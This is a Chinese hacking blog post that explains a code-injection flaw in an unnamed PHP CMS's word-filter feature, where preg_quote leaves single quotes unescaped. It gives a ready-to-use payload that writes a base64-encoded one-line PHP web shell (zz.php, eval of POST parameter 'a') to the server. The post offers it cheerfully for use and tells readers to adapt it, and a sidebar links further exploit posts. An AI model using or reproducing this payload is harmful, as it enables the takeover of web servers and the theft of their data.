Chinadu's Blog

虽然这算不上什么好东西,但是当你要用他的时候就知道他的重要性了

问题代码我帖一下

————————————-

foreach($content as $key=>$value){
    list($w,$r)=explode(”=>”,$value);
    $r = trim($r);
    $w = explode(”|”,$w);
    foreach($w as $k=>$v){
   $v = preg_quote(trim($v),’/');
   if(!isset($replace[$v]) && !isset($wordsfb[$v])){
   $word[] = $v;
   $rep[] = $r ? $r : $mrep;
   }
    }

————————————–

preg_quote这个函数会转义”\”,但是不转义”‘”

所以会出问题.比如我们提交”‘”会被转义成”\’”再经过他一转\\’

这样就出问题了

下面是具体的方法了

——————————-

直接进入后台修改词语过滤功能:
直接在新增词语中写入下列的语句:
‘,fputs(fopen(base64_decode(”enoucGhw”),”w”),base64_decode(”PD9ldmFsKCRfUE9TVFthXSk7Pz4=”)),’a
另外一个可以随便填写
缺点就是要出错,但是可以拿SHELL
拿了SHELL马上修改回来就没有问题了

上面的会代码会在当前的目录生成一个zz.php,密码是a的一句话

根据自己的需要修改base64_decode函数里面的值就可以了

希望大家玩得愉快

随机日志

• 2008年10月21日 -- 用显卡来暴力破解密码
• 2008年10月26日 -- PHP168整站系统0DAY
• 2008年12月2日 -- CCTV官网频道被黑 新浪的报道“稀烂”
• 2009年08月21日 -- Cowpatty发布4.6最新版了，提供下载
• 2006年09月22日 -- IE VML BufferOverflow Download Exec Exploit 修改版
• 2007年11月16日 -- 高级内网渗透工具:Paris (创建VPN)
• 2008年10月10日 -- MS Windows 2003 Token Kidnapping Local Exploit PoC
• 2008年10月16日 -- wordpress静态化设置:windows iis主机(服务器)伪静态地址去掉index.php
• 2007年12月18日 -- Change Gateway\DNS for vbs
• 2008年10月23日 -- 数据库挂马